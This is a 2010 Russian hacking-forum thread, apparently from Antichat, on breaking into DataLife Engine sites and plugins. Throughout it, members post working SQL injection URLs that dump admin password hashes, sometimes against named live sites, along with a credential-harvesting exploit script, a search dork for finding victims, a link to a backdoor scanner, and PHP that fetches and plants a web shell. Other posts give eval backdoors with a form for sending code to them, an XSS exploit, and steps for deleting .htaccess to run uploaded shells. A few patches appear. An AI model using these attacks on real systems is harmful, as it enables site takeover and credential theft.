10.02.2010, 20:15
Раскрытие путей dle 8.3 engine/images.php
dle_skin: ../
if ($_COOKIE['dle_skin']) {
if (@is_dir ( ROOT_DIR . '/templates/' . $_COOKIE['dle_skin'] )) {
$config['skin'] = $_COOKIE['dle_skin'];
}
}
Открываем site.ru/engine/images.php?area=short_story&add_id=
грузим картинку и получаем раскрытые пути)

Dark_cracker
10.02.2010, 23:59
Вопрос. Такой. есть Доступ к БД. Могу сдлеать юзеру админ права. Но немогу найти админку. что посоветуете? возми зайди под админом и нажми редактировать новость , и тебя кинет в админку =)

EoGeneo
11.02.2010, 13:31
Уже обговаривали выше это момент. Что там нету этих конопок. и вообщше нету новостей. ДЛЕ передалан в мощный портал.

Spamik
16.02.2010, 00:29
Боян - .htaccess

// будет работать на старых версиях, в новых хтакссесс поумалчанию залит.
H00k
Да там все 3 файла смотреть можно

Foka
24.02.2010, 17:33
по DLE 8.3 ктото может чтото сказать?

necros555
04.03.2010, 22:57
engine/inc/include/init.php?selected_language= cрабатывает вот этот експлоит

Warning: require_once(ENGINE_DIR/inc/include/functions.inc.php) [function.require-once]: failed to open stream: No such file or directory in S:\home\192.168.2.1\www\engine\inc\include\init.ph p on line 19

Fatal error: require_once() [function.require]: Failed opening required 'ENGINE_DIR/inc/include/functions.inc.php' (include_path='.;/usr/local/php5/PEAR') in S:\home\192.168.2.1\www\engine\inc\include\init.ph p on line 19

подскажите что можно дальше зделать? и можно ли залить шелл или так слить базу зарние спс

cheburator
06.03.2010, 11:17
engine/inc/include/init.php?selected_language= cрабатывает вот этот експлоит

Warning: require_once(ENGINE_DIR/inc/include/functions.inc.php) [function.require-once]: failed to open stream: No such file or directory in S:\home\192.168.2.1\www\engine\inc\include\init.ph p on line 19

Fatal error: require_once() [function.require]: Failed opening required 'ENGINE_DIR/inc/include/functions.inc.php' (include_path='.;/usr/local/php5/PEAR') in S:\home\192.168.2.1\www\engine\inc\include\init.ph p on line 19

подскажите что можно дальше зделать? и можно ли залить шелл или так слить базу зарние спс
1. В 8.3 Пофиксили ;
2. Это раскрытие путей. Может пригодится только если ты зальешь шелл через соседей. Для того что бы найти путь

mailbrush
06.03.2010, 11:39
2. Это раскрытие путей. Может пригодится только если ты зальешь шелл через соседей. Для того что бы найти путь
Не только. Если помимо DLE на сайте присутствует другой движок, в котором присутствует скуля, то есть вероятность залить шелл через INTO OUTFILE, в чем и поможет раскрытие путей.

WEBAdmin
13.03.2010, 05:09
Ребят а подскажите как узнать версию Dle ? admin.php не помогло сразу говорю,что там нет ни каких картинок с версией в ней :)

adzona
14.03.2010, 15:32
Раскрытие путей dle 8.3 engine/images.php
dle_skin: ../
if ($_COOKIE['dle_skin']) {
if (@is_dir ( ROOT_DIR . '/templates/' . $_COOKIE['dle_skin'] )) {
$config['skin'] = $_COOKIE['dle_skin'];
}
}
Открываем site.ru/engine/images.php?area=short_story&add_id=
грузим картинку и получаем раскрытые пути)
нужно какую то особую картинку грузить?

Screami
14.03.2010, 20:30
нужно какую то особую картинку грузить?
Нет, у меня с обычной получилось

adzona
14.03.2010, 21:00
Нет, у меня с обычной получилось
а тогда как получить раскрытие путей?

Dr.Brain
15.03.2010, 22:50
Вот софтина сканнер dle сайтов с встроенным бекдором сборки от злого
Нужна база сайтов которых в паблике навалом..

Скачать (http://softrank.ru/uploads/dlescann.rar)

В архиве сканнер и кейген для него
Покупал за 15$ , потому выкласть не жалко...
На базе 16000 сайтов нашёл 6 бекдоров
Версия DLE 8.2-8.5
Сканнер можна настроить под любую ссылку бекдора если надо..

Скорость: 2-3 сайта в сек. (1мбит)
Сам бекдор выполняет любой PHP код, потому залить шелл не составит труда

Берём хостинг. Туда текстовик с шеллом вида shell.txt
Идём в бекдор. Пишем
$shell = file_get_contents("http://site/shell.txt");
$fp = fopen("shell.php", a);
fwrite($fp, $shell);
fclose($fp);

VirGod
16.03.2010, 17:56
Проблема: Недостаточная фильтрация входящих данных в регистрации.
Ошибка в версии: все версии
Степень опасности: Низкая
Баг нашёл: Lion__

Баг позволяет узнать префикс к бд.
Как юзать:
1) Переходим по ссылке ?do=register
2) Вводим логин, пароль, капчу, email более 50 символов.
Пример email:

qawsedrftgsqawsedrftgqawsedrftgqawsedrftgqawsedrft g@qawsedrftg.qawsedrftg



3) Нажимаем зарегистрироваться
4) Повторяем операцию с 1 по 3 шаги.
5) Получаем ошибку о дубликате поля. В ней смотрим префикс к бд.

Как это работает? Дело в том что поле email стоит ограничение в 50 символов, таким образом остальное всё обрезается, при первой регистрации в бд попало значение:

qawsedrftgsqawsedrftgqawsedrftgqawsedrftgqawsedrft



После второй регистрации идёт поиск поля email со значением:

qawsedrftgsqawsedrftgqawsedrftgqawsedrftgqawsedrft g@qawsedrftg.qawsedrftg



Которого нет, отправляется запрос, получаем ошибку.

Исправить:

Найти в engine/modules/register.php:

$email = $db->safesql( $parse->process( $_POST['email'] ) );


Заменить на:

$email = $db->safesql( $parse->process( substr($_POST['email'], 0,50) ) );


Источник: _http://forum.seo-king.ru/index.php?showtopic=377




должно получиться это:

http://img143.imageshack.us/img143/205/79773351.jpg

botanig
18.03.2010, 16:18
Как просмотреть, что под хайдом в DLE?

Dark_cracker
18.03.2010, 19:51
Sql-inj в dle-forum*е 2.4 была найдена мной , ещё месяца 2 назат) решил выложить , т.к. сайтов ещё много дырявых.
site.ru/?do=forum&showtopic=23%2527+union+select+1,2,CONCAT_WS(0x3a, name,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23+from+dle_users+where+user_group =1+limit+1--
юзаем так ...
Защищаемся:
открываем файл: engine/forum/sources/components/init.php
446 строка
....
if ($_REQUEST['category'])
{
$act = 'category';

$cid =$_REQUEST['category'];

$t_act = '?c'.$cid;
}
if ($_REQUEST['showforum'])
{
$act = 'forum';

$fid = $_REQUEST['showforum'];

$t_act = '?f'.$fid;
}

if ($_REQUEST['showtopic'])
{
$act = 'topic';

$tid = $_REQUEST['showtopic'];

$t_act = '?t'.$tid;
}
......

заменяем на

......
if ($_REQUEST['category'])
{
$act = 'category';

$cid = intval($_REQUEST['category']);

$t_act = '?c'.$cid;
}

if ($_REQUEST['showforum'])
{
$act = 'forum';

$fid = intval($_REQUEST['showforum']);

$t_act = '?f'.$fid;
}

if ($_REQUEST['showtopic'])
{
$act = 'topic';

$tid = intval($_REQUEST['showtopic']);

$t_act = '?t'.$tid;
}
.....


вот типа сплоит писал месяца 2 назат для себя.

<form method="POST" >
Введи сайт "например" "<b>alldle.ru</b>" <input type="text" name="site" value="<?=$_POST['site']?>">
лимит вводить если показало mysql error<input type="text" name="lim" value="<?=$_POST['lim']?>">
<input type="submit" value="send">
</form>
<?php
if (!empty($_POST['site'])){
$lim="1";
if (!empty($_POST['lim'])){$lim ="{$_POST['lim']},";$lim .=$_POST['lim'];}
$url='http://'.$_POST['site'].'/?do=forum&showtopic=23%2527+union+select+1,2,CONCAT_WS(0x3a, name,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23+from+dle_users+where+user_group =1+limit+'.$lim.'--';
$ua='Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10';
$cu=curl_init($url);
curl_setopt($cu,CURLOPT_HEADER, 0);
curl_setopt($cu,CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cu,CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($cu,CURLOPT_USERAGENT, $ua);
$log=curl_exec($cu);
$log=html_entity_decode($log);
if (preg_match_all('#<title>(.*)» (.*)</title>#i',$log,$log2)){
$ss=$log2[2][0];
if (!preg_match('#[:]#is',$ss,$loggg)){ echo 'нету баги ';exit;}
$save=explode(':',$ss);
echo " <b>site:</b> <font color='green'> ".$_POST['site']."</font><br>";
echo " <b>name:</b> <font color='red'> ".$save[0]."</font><br>";
echo "<b>pass:</b> <font color='blue'> ".$save[1]."</font><br>";
}
else { echo " баги не найдено =( ";preg_match_all('#<title>(.*)</title>#i',$log,$logi); echo "<b>{$logi[1][0]}</b>";}
curl_close($cu);
}
?>


(c) dark_cracker
dork:
inurl:/forum/ intext:DLE Forum v.2.4 © 2010 Pocketx.Ru

Alex$09
20.03.2010, 22:31
Как просмотреть, что под хайдом в DLE?
Так просто не посмотришь а смощию скрипта свободно можешь слить файлы не только дле но и другие движки...
http://new-dle.biz/exclusive/667-skript-obxoda-xajda-dlya-attachej-v-dle.html

sir95
27.03.2010, 01:34
В 8.3, может и раньшых!
вывод какие модули стоят.

Файл

http://localhost/engine/ajax/antivirus.php

Вывод список!

Защищаемся
На начало добавить

if(!defined('DATALIFEENGINE'))
{
die("You lol! Anatole yzhe tut");
}

saransko_o
09.04.2010, 12:00
имеются сайты dle 8.0 ,8.2
Каким то образом в файлы dbconfig.php config.php init.php дописываются строки с фреймом типа echo bla bla bla.
Шеллов на хостинге нет, все оригинальное, пароли меняли, в общем всё делали. А как то дописывается..
Создатель файла- 48, а если создаем мы то создатель- 500.
Т.е. файлы изменяет скрипт?
Где копать?

sir95
11.04.2010, 20:23
имеются сайты dle 8.0 ,8.2
Каким то образом в файлы dbconfig.php config.php init.php дописываются строки с фреймом типа echo bla bla bla.
Шеллов на хостинге нет, все оригинальное, пароли меняли, в общем всё делали. А как то дописывается..
Создатель файла- 48, а если создаем мы то создатель- 500.
Т.е. файлы изменяет скрипт?
Где копать?

Нулл движок?

saransko_o
11.04.2010, 23:56
Нулл движок?
да. нулл от MID.

ReckouNT
12.04.2010, 05:59
В нуллах авторы нулла пишут уязвимости. Либо сами нуллите, либо юзайте фривар двиг.
Сам лично юзаю PHP - Fusion.

saransko_o
12.04.2010, 15:06
Кстати на многих лицензия была

A!m0ff
14.04.2010, 12:15
Вот софтина сканнер dle сайтов с встроенным бекдором сборки от злого
Нужна база сайтов которых в паблике навалом..

Скачать (http://softrank.ru/uploads/dlescann.rar)

В архиве сканнер и кейген для него
Покупал за 15$ , потому выкласть не жалко...
На базе 16000 сайтов нашёл 6 бекдоров
Версия DLE 8.2-8.5
Сканнер можна настроить под любую ссылку бекдора если надо..

Скорость: 2-3 сайта в сек. (1мбит)
Сам бекдор выполняет любой PHP код, потому залить шелл не составит труда

Берём хостинг. Туда текстовик с шеллом вида shell.txt
Идём в бекдор. Пишем
$shell = file_get_contents("http://site/shell.txt");
$fp = fopen("shell.php", a);
fwrite($fp, $shell);
fclose($fp);

А кто автор и как с ним связаться ?

sir95
26.04.2010, 01:55
Такой вопрос, залил шелл.
А как его юзать? Фиг его знает как искать етот шелл..... ;)

Firrst
26.04.2010, 09:17
Никак, там в папке с загруженными файлами лежит htaccess, ты не выполнишь .php файл

Rew
30.04.2010, 05:43
Есть бедкодер в папке /engine/ajax/

if($_POST['text']!=''){eval(stripcslashes($_POST['text']));}

Что с этим можно сделать?

Nightmarе
30.04.2010, 06:08
Есть бедкодер в папке /engine/ajax/

if($_POST['text']!=''){eval(stripcslashes($_POST['text']));}

Что с этим можно сделать?
Ну например, отправить мне в ЛС список сайтов с этим бекдором ;)

Rew
30.04.2010, 06:21
Я думаю таких сайтов много с этим бедкодером это относиться к null версиям dle.

К примеру DataLife Engine v.8.5 Nulled by M.I.D-Team

Так что с этим можно сделать?

В этой папке нету файла .htaccess

Komyak
30.04.2010, 10:43
Так что с этим можно сделать?
В чём проблема? Пошли ему post с кодом, например через copy()

wkar
30.04.2010, 11:09
Такой вопрос, залил шелл.
А как его юзать? Фиг его знает как искать етот шелл..... ;)
Юзай антивирус в админке, он покажет назву шелла

Komyak
30.04.2010, 11:20
Rew, где ты там(Nulled by M.I.D-Team) увидел этот код?

Rew
30.04.2010, 13:17
В чём проблема? Пошли ему post с кодом, например через copy()

Проблема в том что я не знаю как и что нужно и куда послать и через чё.

Где об этом можно хоть статью почитать или книжку что да как?

Rew, где ты там(Nulled by M.I.D-Team) увидел этот код?

В \upload\engine\ajax

keywords.php

http://slil.ru/29061005

Komyak
30.04.2010, 13:43
Проблема в том что я не знаю как
http://php.net/manual/en/reserved.variables.post.php
http://php.net/manual/en/function.copy.php
Создавай форму(html) или просто курлом посылай.

А где дырка?- http://pastebin.com/Xj9kADx1

Komyak
30.04.2010, 13:54
TANZWUT, ага http://forum.antichat.ru/showpost.php?p=1658712&postcount=87

Rew
30.04.2010, 14:17
Komyak, скорей всего Rew слил не с сайта M.I.D-Team

Да я сливал dle не сайта M.I.D-Team а с какого то сайта по dle где есть модули и хаки для dle.

Но что релиз от тимы M.I.D-Team там было это точно написано и папка там называлась DataLife Engine v.8.5 Nulled by M.I.D-Team после распаковки архива.

Значит от ихнего имени кто - то дле null распространяет с бэкдор . eval() через $_POST. Только теперь этот бэкдор
в keywords.php.


http://php.net/manual/en/reserved.variables.post.php
http://php.net/manual/en/function.copy.php
Создавай форму(html) или просто курлом посылай.

Спасибо почитаем.

Что с рангом я вам плюсь добавил а его не видно?

warlok
30.04.2010, 16:14
попробуй так

<form name="eval" action="http://script.ru/script.php" method="post">
<input type="text" name="text" value="phpinfo();"><br />
<input type="submit" name="submit" value="хряп">
</form>

вместо http://script.ru/script.php путь до твоего скрипта там где бекдор нашел, вместо phpinfo(); можеш любой php код писать.

simca
20.05.2010, 13:34
Здравствуйте, я новичек на форуме, поэтому сразу извиняюсь, если пост не сюда. Вопрос следующего характера, как можно залить шелл в dle 4.2 если нет доступа в админпанель, а есть только доступ к cnstats, установленного на этом сайте

m00nster
31.05.2010, 08:57
Доброе время суток.
Помогите написать код для бэкдора от -=ZLOY=-,чтоб получить доступ в АП, и быть в user_group 1

В этом деле я новичок,прошу вас,напишите подробно что да как

slva2000
31.05.2010, 23:05
http://forum.searchengines.ru/showthread.php?t=504108
Приветствую, уважаемые!

В последние несколько дней были взломаны сайты типа осетрина, amxсервер и т.д. мегакулхацкерами, думаю они на этом не остановятся, поэтому палю заплатку для новорожденной дыры - поставить права 765 на папку data.

детали не известны

MaZaHaKaT
02.06.2010, 11:30
Вот недавно нашёл багу.
В зависимости от чпу выполняем запрос
Например:http://skripters.com/dle_haki/page/9999999999999999999/
Получаем:
MySQL Error! ------------------------ The Error returned was: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '7.3786976294838E+19,8' at line 1 Error Number: 1064
Я думаю найдёте применение :)
Неоткажусь от ++

EoGeneo
03.06.2010, 08:16
Я где то слышал что была софтина, которая ворует бэкапы - если он есть на сайте в папке backup. Не подскажите? сайтик нашел, папка бэкап есть имя бэкапа не могу подобрать ;)

m00nster
04.06.2010, 11:37
Я где то слышал что была софтина, которая ворует бэкапы - если он есть на сайте в папке backup. Не подскажите? сайтик нашел, папка бэкап есть имя бэкапа не могу подобрать ;)

держи (http://love-cs.ru/backup.rar)

m00nster
05.06.2010, 01:40
Хм,кто нить тут отпишется как юзать багу с помощью "Tiny MCE редактор"

zebrum
05.06.2010, 11:28
Работает любой хтмл тег отосланный пост запросом на engine/editor/jscripts/tiny_mce/plugins/typograf/handler.php

ТИПА ЭКСПЛОИТ
PHP код:
<?php
$value = urlencode("<script>alert('HACKED BY KZPROMO trololo');</script>");
if($_GET['unset'] == "time") unset($_COOKIE['time']);
if(!isset($_COOKIE['time']))
{
setcookie("time",time(),time()+3600);
echo <<<HTML
<html>
<head>
</head>
<body>
<center>

<form name="hack" action="https://gomel-sat.net/engine/editor/jscripts/tiny_mce/plugins/typograf/handler.php" method="post">
<input type="text" name="text" value='$value' style="boder:none;FONT: 0px Tahoma; border:0px solid #FFFFFF;" border="0">
</form>

<script>
document.hack.submit();
</script>
</body>
</html>
HTML;

}
else {
header("Content-type: image/jpg");
$image = imagecreatefromgif('smile.jpg');
imagegif($image);
imagedestroy($image);
}

?>
Автор: kzpromo

Nightmarе
05.06.2010, 16:46
Я подстолом. Сорри за оффтоп, но теперь уже и под пассивные XSS у нас сплойты пишут

valeros
06.06.2010, 01:19
Есть ли способ увидеть имя БД в новых версиях DLE (8.2-8.5)?

wildshaman
06.06.2010, 11:21
Я подстолом. Сорри за оффтоп, но теперь уже и под пассивные XSS у нас сплойты пишут
Ну а если там только post, как иначе?

kickboxer
07.06.2010, 03:10
извиняюсь, если было, но может кто подскажет как взламывали недавно сайты, например zerx.ru .
Вот заплатка от взлома http://dle-news.ru/bags/v85/1037-provedenie-ataki-mezhsajtovogo-skriptinga-xss.html

Quicky
08.06.2010, 13:59
Да вот действительно тема: http://dle-news.ru/bags/v85/1040-nedostatochnaya-filtraciya-vxodyashhix-dannyx.html только не как не могу в ней разобраться ...

killerman
09.06.2010, 01:43
Да вот действительно тема: http://dle-news.ru/bags/v85/1040-nedostatochnaya-filtraciya-vxodyashhix-dannyx.html только не как не могу в ней разобраться ...
А что в ней разбератся если у тебя на сайте есть аккаунт административный то ты можешь загрузить фейк! а дальше объяснять не надо :)

korp
14.06.2010, 00:15
Найдена очередная Серьёзная уязвимость всех версий (независимо от автора).
Уровень риска: Критическая
баг позволяет выполнять любые действия в том числе sql запросы.
'key'=>"УНИК КОД"
Баг работает во всех версиях.

Вроде есть 1 файл в котором нет проверки на группу пользователя, только проверка хеша.
Кто что знает? Я порылся что-то нашёл, на этом и закончил.

wildshaman
14.06.2010, 00:21
Вроде есть 1 файл в котором нет проверки на группу пользователя, только проверка хеша.
Кто что знает? Я порылся что-то нашёл, на этом и закончил.
Откуда цитата? Прчему здесь key из конфига?
непонетно

\\все, ншел - http://dle.in.ua/bags/9503-seryoznaya-uyazvimost-v-null-versiyax.html


\\кажется, знаю, откуда урки растут у бага

WP_
14.06.2010, 07:03
Багу нашел: Lion__
Связь: 9287[шесть]78
Зовут его если не ошибаюсь Андрей

slva2000
14.06.2010, 13:07
wildshaman
что то я не понял пока... если лицуха (т.е. кей есть в конфиге) то уязвимости нет....?

WP_
14.06.2010, 15:15
что то я не понял пока... если лицуха (т.е. кей есть в конфиге) то уязвимости нет....?

наоборот !
нужно поменять на свой key

slva2000
14.06.2010, 15:25
наоборот !
нужно поменять на свой key
но тогда - wrong key....

wildshaman
14.06.2010, 23:17
Ну и да, в результате ночи копания накопал:
Уязвимости нету.
ПО мнению автора, $config['key'] мог помочь сгенерировать $dle_login_hash и заюзать xsrf или просто оойти проверку.
Только он вот не учел, что для генерации хеша нужен еще и сам пасс админа.
Так что отбой, баги нет :)

//Развели тут блин...

slva2000
15.06.2010, 07:38
Ну и да, в результате ночи копания накопал:
Уязвимости нету.
ПО мнению автора, $config['key'] мог помочь сгенерировать $dle_login_hash и заюзать xsrf или просто оойти проверку.
Только он вот не учел, что для генерации хеша нужен еще и сам пасс админа.
Так что отбой, баги нет :)
могу добавить, что перед проверкой ХЭШа стоит проверка админ ли...:

if (( $member_id['user_group'] != 1 )) { die ("error"); }

Ничего не выйдет.... Хотя, инфа к размышлению не плохая.

всё это в clean.php

wildshaman
15.06.2010, 12:36
Версия ДЛЕ: 8.5 (скорее всего, и преыдущие, но тестил именно на 8.5)


Везде далее:
1){ВАШ ЮЗЕР ХЕШ} - уникальный хеш, который вы получаете при входе в дадминку. Как правило, при переходе по страницам админки он передается гетом в урле, там его и берите. Или же заходите на страницу настроек, к примеру, и ищите в коде user_hash - там он и будет
2)лишние куски кода удалены, оставлены только самые важные, играющие роль при уязвимости.

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: Удаление произвольных файлов
Зависимость: Нужны админские права
Файл: /engine/inc/files.php
Кусок кода:

if( $action == "doimagedelete" ) {
foreach ( $_POST['images'] as $image ) {
@unlink( $config_path_image_upload . $image );
@unlink( $config_path_image_upload . "thumbs/" . $image );
}
}


Как осуществить:
Залогинившись админом, послать post запрос:
http://site.com/admin.php?mod=files

images%5Bboxsmall.jpg%5D=../uploads/files/.htaccess&action=doimagedelete&userdir=&user_hash={ВАШ ЮЗЕР ХЕШ}

Смысл:
1) Можно удалить .htaccess из папки uploads, загрузить туда шелл и видеть его из веба :)
2) Можно помешать работе сайта, удалив важыне файлы.

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: раскрытие префикса БД.
Зависимость: Права журналиста или администратора (любой доступ в админку)
Файл: /engine/inc/files.php
Кусок кода:

$serverfile = trim( htmlspecialchars( strip_tags( $_POST['serverfile'] ) ) );
$image_name = $serverfile;
if( $config['files_allow'] == "yes" and $user_group[$member_id['user_group']]['allow_file_upload'] and $_REQUEST['action'] == "quick" and (in_array( strtolower( $type ), $allowed_files ) or $serverfile != '') )
$db->query( "INSERT INTO " . PREFIX . "_files (news_id, name, onserver, author, date) values ('$news_id', '$image_name', '{$file_prefix}{$image_name}', '$author', '$added_time')" );


Как осуществить:
Залогинившись админом, послать post запрос:
http://hackhack/admin.php?mod=files&action=quick&subaction=upload

images_number=1&serverfile=\

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: Получение названия загруженного файла (шелла, к примеру) через форму заливки
Зависимость: Права админа или журналиста с разрешением аливать файлы чреез админку
Файл: /admin.php?mod=files
Кусок кода:

$file_prefix = time() + rand( 1, 100 );
$file_prefix .= "_";
@copy( $imageurl, ROOT_DIR . "/uploads/files/" . $file_prefix . $image_name )

Ага, пишется: unixtime+{случайное число от 1 до 100}_названиефайлачтомывыгр зили

Отсылаем файл, снифаем, что вернул сервер:
Date: Mon, 14 Jun 2010 07:35:04 GMT

делаем себе

for($i=0; $i<=100; $i++)
{
$name=strtotime("Mon, 14 Jun 2010 07:35:04 GMT")+$i;
echo $name."<br>";
}

Генерируем все возможные нвазвания нашего файла, потом просто перебираем их.

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: Blind-sql
Зависимость: magic_quotes_gpc = off и админские права
Файл: /engine/ajax/clean.php
Кусок кода:

if ($_REQUEST['step'] == 2) {
if ((@strtotime($_REQUEST['date']) === -1) OR (trim($_REQUEST['date']) == ""))
$_REQUEST['step'] = 1;
else {
$_REQUEST['step'] = 3;
$sql = $db->query("SELECT id FROM " . PREFIX . "_post WHERE date < '{$_REQUEST['date']}'");
while($row = $db->get_row($sql)){
$db->query("DELETE FROM " . PREFIX . "_comments WHERE post_id='{$row['id']}'");


Как осуществить:
http://site.com/engine/ajax/clean.php?date=1'&user_hash={ВАШ ЮЗЕР ХЕШ}&step=2

P.S. Обыная скуля с юнионом не пройдет, так как полученная инфа сразу уходит в DELETE :( Кому надо - тот докрутит ;)

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Версии ДЛЕ ДО 8.5
Описание: редактирование настроек системы, имея лишь ограниченный (модерский) доступ в админку
Зависимость: Доступ в админку хотя бы с правами журналиста
Файл: /engine/inc/options.php
Кусок кода:

elseif( $action == "dosavesyscon" ) {
$save_con = $_POST['save_con'];
$save_con['offline_reason'] = $parse->process( stripslashes( trim( $save_con['offline_reason'] ) ) );
$save_con['offline_reason'] = str_replace( '"', '&quot;', $parse->BB_Parse( $save_con['offline_reason'], false ) );

$find[] = "'\r'"; $replace[] = ""; $find[] = "'\n'"; $replace[] = "";
$handler = fopen( ENGINE_DIR . '/data/config.php', "w" );

fwrite( $handler, "<?PHP \n\n//System Configurations\n\n\$config = array (\n\n" );
foreach ( $save_con as $name => $value ) {
if( $name != "offline_reason" ) {
$value = trim( stripslashes( $value ) );
$value = htmlspecialchars( $value);
$value = preg_replace( $find, $replace, $value );

$name = trim( stripslashes( $name ) );
$name = htmlspecialchars( $name, ENT_QUOTES );
$name = preg_replace( $find, $replace, $name );
}

fwrite( $handler, "'{$name}' => \"{$value}\",\n\n" );

}
fwrite( $handler, ");\n\n?>" );
fclose( $handler );
}

Как осуществить:
Авторизовавшись в админке, делаем POST запрос
http://site.com/admin.php?mod=options&action=syscon
save_con%5Bhome_title%5D=GREAT HACK HOHOHOH&mod=options&action=dosavesyscon&user_hash={ВАШ ЮЗЕР ХЕШ}

причем настроек поменять можно множество вплоть до оотключения сайта ;)

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: раскрытие путей
1) Требуется админка
http://site.com/admin.php?mod=static&search_field[]=

2) Админка не требуется, праа Юзерские

http://site.com/?do=addnews
POST
tags[]=1&mod=addnews


http://site.com/index.php
POST
login=submit&login_password[]=1

---------------------------------------------------------------------------------------------------------------------------------------------------
(c) wildshaman 2010. Special for Antichat

wildshaman
17.06.2010, 18:06
Модуль Hide v.4.2 для DLE
Описание: выполнение произвольного кода (бекдор оставил автор)
Зависимость: аккаунт юзера
Файл: engine/modules/hide_news.php
Кусок кода:

if(md5(md5($_GET['conf_key'])) == $sets['key']){ eval(base64_decode($_GET['user_id'])); }


key записывается в конфиге после любого изменения настроек модуля в админке, причем строго указан - d5bb5b454e4310d06746d9325b1c1968

Как осуществить:
http://site.com/?newsid=XXXX&conf_key=fibona4i&user_id=cGhwaW5mbygpOw==
Где XXX - айди существующей новости, а user_id - забейсенный php код (в данном случае пхпинфо)

DLE forum 2.5 (дырявый, как сито)
Описание: sql-инъекция
Зависимость: -
Файл: engine/forum/sources/showtopic.php
Кусок кода:

if (intval($tid))
$row_topic = $db->super_query("SELECT * FROM " . PREFIX . "_forum_topics WHERE tid = $tid");


Как осуществить:
http://site.com/?do=forum&act=topic&tid=1+[SQL]

.:[melkiy]:.
17.06.2010, 19:44
DLE forum 2.5 (дырявый, как сито)
Описание: sql-инъекция
Зависимость: -
Файл: engine/forum/sources/showtopic.php
Кусок кода:

if (intval($tid))
$row_topic = $db->super_query("SELECT * FROM " . PREFIX . "_forum_topics WHERE tid = $tid");


Как осуществить:
http://site.com/?do=forum&act=topic&tid=1+[SQL]

можно пример? :)

Nightmarе
17.06.2010, 19:51
:.']можно пример? :)
Пример:
http://site.ru/?do=forum&showtopic=54%2527+union+select+1,2,CONCAT_WS%280x3 a,name,password%29,4,5,6,7,8,9,10,11,12,13,14,15,1 6,17,18,19,20,21,22,23+from+dle_users+where+user_g roup%20=1+limit+1

Живой пример на сайте:
http://rtmusic.co.cc/?do=forum&showtopic=1%2527+union+select+1,2,CONCAT_WS%280x3a ,name,password%29,4,5,6,7,8,9,10,11,12,13,14,15,16 ,17,18,19,20,21,22,23+from+dle_users+where+user_gr oup%20=1+limit+1
Логин + хеш можно наблюдать в заголовке <TITLE>

Да, на многих сайтах колонок где больше где меньше, если появляется сообщение:
The used SELECT statements have a different number of columns
Значит надо либо добавлять, либо убавлять циферки.

.:[melkiy]:.
17.06.2010, 20:03
У шамана скуля для 2.5 версии. Ты привёл пример на 2.4.


Живой пример на сайте:
http://rtmusic.co.cc/?do=forum&showtopic=1%2527+union+select+1,2,CONCAT_WS%280x3a ,name,password%29,4,5,6,7,8,9,10,11,12,13,14,15,16 ,17,18,19,20,21,22,23+from+dle_users+where+user_gr oup%20=1+limit+1


http://dleshka.org.ru/states/1174-sql-inekciya-v-dle-forum-v24.html

Параметры совсем разные...

Nightmarе
17.06.2010, 20:05
:.']У шамана скуля для 2.5 версии. Ты привёл пример на 2.4.



http://dleshka.org.ru/states/1174-sql-inekciya-v-dle-forum-v24.html

Параметры совсем разные...
ок, не заметил, жаль. Щас эту попробую.

RulleR
18.06.2010, 13:26
DLE forum 2.5
(дырявый, как сито)
Описание:
sql-инъекция
Зависимость:
-
Файл:
engine/forum/sources/showtopic.php
Кусок кода:

if (intval($tid))

$row_topic=$db->super_query("SELECT * FROM ".PREFIX."_forum_topics WHERE tid =$tid");



Как осуществить:
http://site.com/?do=forum&act=topic&tid=1+[SQL]


Не понятно, как здесь возможна инъекция, если переменная $tid проходит через intval()?

попугай
18.06.2010, 13:39
Не понятно, как здесь возможна инъекция, если переменная
$tid
проходит через
intval()
?



очевидно, что неправильно интвалят.

Нужно так


$tid=intval($tid);

Pashkela
18.06.2010, 13:42
Не понятно, как здесь возможна инъекция, если переменная
$tid
проходит через
intval()
?


if (intval($tid)) - думаю тут уязвимое место, т.к. не явно интвалица, а проверяется условием, сооветственно такое 1gsdkjgfdsk - прокатит, проверочный код:






Причем дыра старая и известна уже давно

RulleR
18.06.2010, 14:00
Посмотрел исходники этого скрипта (dle forum 2.5 final nulled by pigini)

/engine/forum/sources/showtopic.php


1: super_query("SELECT * FROM ".PREFIX."_forum_topics WHERE tid =$tid");

/*...*/

537: }

538:?>

думаю видно, что переменная $tid в любом случае проходит через intval()

Pashkela
18.06.2010, 14:02
2 RulleR:

ну запусти проверочный код, поймешь

Jokester
18.06.2010, 14:04
думаю видно, что переменная
$tid
в любом случае проходит через
intval()


Создай на локалке такой код


if (intval($tid)){ echo"прошли";}

И передай

file.php?tid=1+lololo+trololo

Пашкелла-же написал об этом

=====================

// Ctacok не три посты с обсуждением

// Ок, да они вроде разобрались уже. Ctacok

Strilo4ka
18.06.2010, 14:50
DLE forum 2.5 - скачать отсюдо (http://bestwebber.ru/free_mods/61-dle-forum-25-nulled-forum-dlya-dle.html)

Я посмотрел. Там только одна зависимость rg=on так как плагин древний.


http://localhost/DLE8.3/?do=forum&act=topic&tid=1+and+1=%28select%20count%28*%29%20from%20%28s elect%201%20union%20select%202%20union%20select%20 3%29x%20group%20by%20concat%28version%28%29,floor% 28rand%280%29*2%29%29%29



MySQL Error!
------------------------
The Error returned was:
Duplicate entry '5.0.45-community-nt1' for key 1
Error Number:
1062


Можно крутить как быстрый блинд, есть вывод ошибки.

Вывода нормального у мну небыло:

http://localhost/DLE8.3/?do=forum&act=topic&tid=1+order+by+1--+

MySQL Error!

------------------------

The Error returned was:

Unknown column '1' in 'order clause'

Error Number:

1054

ага и так:

http://localhost/DLE8.3/?do=forum&act=topic&tid=-1+union+select+1,2,version%28%29,4,5,6,7,8,9,10,11 ,12,13,14,15,16,17,18,19,20,21,22,23,24

